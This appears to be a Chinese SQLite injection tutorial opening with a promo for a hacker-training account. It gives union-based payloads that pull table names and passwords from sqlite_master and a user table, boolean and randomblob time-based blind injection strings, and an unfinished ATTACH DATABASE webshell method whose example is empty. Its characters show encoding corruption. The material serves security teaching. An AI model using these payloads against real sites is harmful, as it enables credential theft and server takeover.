零基礎(chǔ)學(xué)黑客,搜索公眾號(hào):白帽子左一
另,免費(fèi)領(lǐng)取黑客入門學(xué)習(xí)資料包及練手靶場!
前置知識(shí):
Sqlite數(shù)據(jù)庫的特點(diǎn)是它每一個(gè)數(shù)據(jù)庫都是一個(gè)文件,當(dāng)你查詢表的完整信息時(shí)會(huì)得到創(chuàng)建表的語句,基本和mysql差不多
1.Sqlite-master:這個(gè)是內(nèi)置系統(tǒng)表,相當(dāng)于mysql的information_schema,但是這里只存有表的信息,里面有個(gè)sql字段,有各個(gè)表的結(jié)構(gòu),有表名,字段名和類型
2.sqlite 并不支持像mysql那樣的注釋,但是可以通過 — 方式增加DDL注釋(寫shell會(huì)用到)
3.sqlite_version() 這個(gè)代表sqlite的版本
4.randomblob函數(shù)
因?yàn)檫@個(gè)數(shù)據(jù)庫沒有類似sleep() 的函數(shù),所以用這個(gè)函數(shù)去代替
作用是返回一個(gè) N 字節(jié)長的包含偽隨機(jī)字節(jié)的 BLOG。N應(yīng)該是正整數(shù)
5.ATTACH函數(shù)
這個(gè)函數(shù)用于選定數(shù)據(jù)庫,當(dāng)數(shù)據(jù)庫不存在時(shí)就會(huì)創(chuàng)建,使用后,后續(xù)命令都在此數(shù)據(jù)庫下執(zhí)行
基本增刪改查
創(chuàng)建表語句
create table wafa(name varchar(255),username varchar(255));

插入數(shù)據(jù)語句
insert into wafa (name,username) values ('bbq','bbcd');

增加字段
alter table wafa add column id int;

查詢語句
select name from wafa where username='bbcd';

修改字段數(shù)據(jù)
Update wafa set username=’tcp’ where name=’bbq’;

這里注意,sqlite不能完全支持sql語句,如果要修改字段的數(shù)據(jù)類型的話只能增加字段,要修改字段只能重命名表后,重新創(chuàng)建表,再把舊表數(shù)據(jù)放到新表里,最后刪除舊表
alter table wafa rename to wifi;

create table wafa(name varchar(200) not null,username varchar(200) not null);

insert into wafa(name,username) select name,username from wifi;

drop table wifi;

這里的測試環(huán)境里不需要去閉合
首先判斷回顯點(diǎn),先判斷當(dāng)前頁面字段數(shù)
Order by 3


判斷出當(dāng)前有3個(gè)字段
然后就是判斷顯錯(cuò)位
And 1=2 union select 1,2,3

查詢版本:
and 1=2 union select 1,2,sqlite_version()

查詢當(dāng)前表
and 1=2 union select 1,2,name from sqlite_master where type='table' limit 1,1
可以通過limit去篩選其他數(shù)據(jù),但只能顯示一條
(這里因?yàn)閿?shù)據(jù)庫里的排序問題,目標(biāo)表在第二位)

得到表名user
查詢字段
and 1=2 union select 1,2,sql from sqlite_master where type='table' and name='user'
可以通過去查詢sqlite_master里的sql字段來得到字段信息,用name=’表名’ 去確定表名

會(huì)輸出整條你建立表的語句

得到字段id,name,password
查詢數(shù)據(jù)
and 1=2 union select 1,2,password from user limit 0,1

當(dāng)然,sqlite也有查詢多條數(shù)據(jù)的方法
可以使用group_concat
and 1=2 union select 1,2,group_concat(name) from user limit 0,1

sqlite注入也可以使用盲注
基本和mysql的差不多,但是sqlite不支持ascii,所以直接通過字符去查詢,這里和mysql不同,這里英文字母區(qū)分大小寫
查詢數(shù)據(jù)表長度
and (select length(name) from sqlite_master limit 0,1)=4

如果查詢失敗的話

查詢表名
and substr((select name from sqlite_master limit 0,1),1,1)='u'

這里區(qū)分大小寫

查詢字段
and substr((select sql from sqlite_master limit 0,1),1,1)='C'
因?yàn)檫@里是輸出整條你建立表的語句,所以要慢慢查

查詢數(shù)據(jù)
and substr((select password from user limit 0,1),2,1)='i'

時(shí)間盲注
Sqlite沒有sleep函數(shù),但是可以利用randomblob函數(shù),這個(gè)函數(shù)作用是生成了一個(gè)N字節(jié)的blob,可以通過這個(gè)來延時(shí)
and 1=(case when(substr(sqlite_version(),1,1)='3') then randomblob(1000000000) else 0 end)

使用ATTACH函數(shù)來操作
這個(gè)函數(shù)用于選定數(shù)據(jù)庫,當(dāng)數(shù)據(jù)庫不存在時(shí)就會(huì)創(chuàng)建,使用后,后續(xù)命令都在此數(shù)據(jù)庫下執(zhí)行
函數(shù)格式
ATTACH DATABASE file_name AS database_name
這里我們通過去建立一個(gè)文件,然后再后續(xù)通過命令去插入payload
因?yàn)檫@個(gè)是建立庫的語句,后續(xù)通過建立表的方式去寫入shell
例:

效果如下
